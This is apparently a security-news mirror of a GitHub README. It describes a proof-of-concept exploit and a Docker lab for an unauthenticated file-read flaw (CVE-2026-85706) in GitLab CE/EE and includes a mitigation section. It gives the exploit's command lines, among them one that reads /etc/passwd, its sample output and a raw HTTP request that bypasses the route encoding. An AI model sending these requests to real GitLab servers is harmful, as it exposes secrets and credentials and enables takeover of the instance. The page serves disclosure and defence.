Curated security research, vulnerabilities, advisories and tools for practitioners.

GitLab CE/EE Unauthenticated Arbitrary File Read Exploit PoC (CVE-2026-85706)

Summary

EQSTLab released a verified exploit PoC and lab environment for CVE-2026-85706, a critical unauthenticated arbitrary file read vulnerability (CVSS 10.0, listed in CISA KEV) in GitLab CE/EE. In affected versions, the body-upload helper for repository commits runs prior to authentication and accepts file.path without path confinement. By URL-encoding the endpoint (%63ommits) to bypass GitLab-Workhorse normalization, unauthenticated attackers targeting instances with public projects can read arbitrary host files, leaking secrets and configuration. Patched in 19.1.8, 19.2.6, and 19.3.2.

Why it matters

GitLab is widely deployed across enterprise infrastructure; a CVSS 10.0 unauthenticated file read listed in CISA KEV enables attackers to leak gitlab-secrets.json and database credentials, easily leading to full instance takeover.
CVE
CVE-2026-85706
Vendor
GitLab
Product
GitLab CE/EE
Affected versions
18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
CVSS
10
Published
Collected

📦 Full-Text Content Snapshot

R2 Archive · Full Article Preserved114 lines · 5.5 KB
📄 Raw .md⬇️ Download .md

Author: EQSTLab · Source: github.com/EQSTLab/CVE-2026-85706

★ CVE-2026-85706 GitLab unauthenticated arbitrary file read PoC ★

Overview

CVE-2026-85706 is an unauthenticated arbitrary file read in GitLab CE/EE (CVSS 10.0, CISA KEV) via POST /api/v4/projects/:id/repository/commits, whose body-upload helper runs before authenticate! and reads params['file.path'] as an absolute path with no confinement. URL-encoding one char of commits → %63ommits makes GitLab-Workhorse miss the route (so it never overwrites file.path), while Rails still decodes %63 → c and routes to the handler — letting the attacker set file.path via the query string. With Content-Type=application/x-www-form-urlencoded, the helper re-parses the file content and a % not followed by two hex digits reflects that content in the 400 body (files without one give only a 401 read oracle). Requires at least one public project.

Affected Versions

CategoryVersion
VulnerableGitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
Patched19.1.8 / 19.2.6 / 19.3.2 or later (2026-09-10)

Impact

  • Unauthenticated arbitrary file read of any file readable by the GitLab service process.
  • Disclosure of files whose content contains an invalid % (application logs, and configs/credentials that embed URL-encoded values) → recon + credential theft → chaining to authenticated access / full instance compromise.
  • The read primitive reaches high-value files (gitlab-secrets.json, database.yml); note that purely hex/base64 files return only an existence oracle through the public % reflection channel (no invalid % byte to trigger the echo).
  • The fix adds authenticate! ahead of the body-upload helper, so an unauthenticated request is refused before the file-read sink.

Environment

Build and run the vulnerable GitLab CE. On boot, the seeder plants /flag.txt (with a trailing % leak trigger) and creates a public project victim/public-app (project id 1) so the commits API is reachable unauthenticated. First boot takes ~2–3 minutes.

bash
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

The flag is a placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Set your own at run time without editing the image: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

PreconditionState in this lab
GitLab 18.7 – 19.1.719.1.7-ce.0
At least one public project (anon reaches the commits API)victim/public-app (id 1), auto-created
/api/v4/projects/:id/repository/commits reachable unauthenticatedexposed
Flag on the server filesystem/flag.txt (trailing % reflection trigger)

PoC

The exploit gitlab_exploit.py reads a file off the server with a single unauthenticated request, using the %63ommits Workhorse route bypass and the urlencoded re-parse error channel. Pick the file with --read (default /flag.txt).

bash
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check

Output:

code
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

Options:

  • --read "<abs path>" — absolute file path to read (default /flag.txt)
  • --project <id> — public project id reachable unauthenticated (default 1)
  • --check — only confirm the file-read sink is reachable (expects local file not present)

Raw request (for Burp Repeater):

http
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close

Mitigation

  • Upgrade GitLab to 19.1.8 / 19.2.6 / 19.3.2 or later.
  • If you cannot upgrade immediately, block POST/PUT to */repository/commits* and */repository/files* at a proxy/WAF, and place the instance behind SSO / VPN / an IP allowlist.
  • After patching: assume any file readable by the GitLab service (logs, configs, secrets) was exposed if the endpoint was internet-reachable — invalidate sessions and rotate exposed credentials / secrets.

📦 Full-Text Markdown Snapshot archived by Phying News · Original source: github.com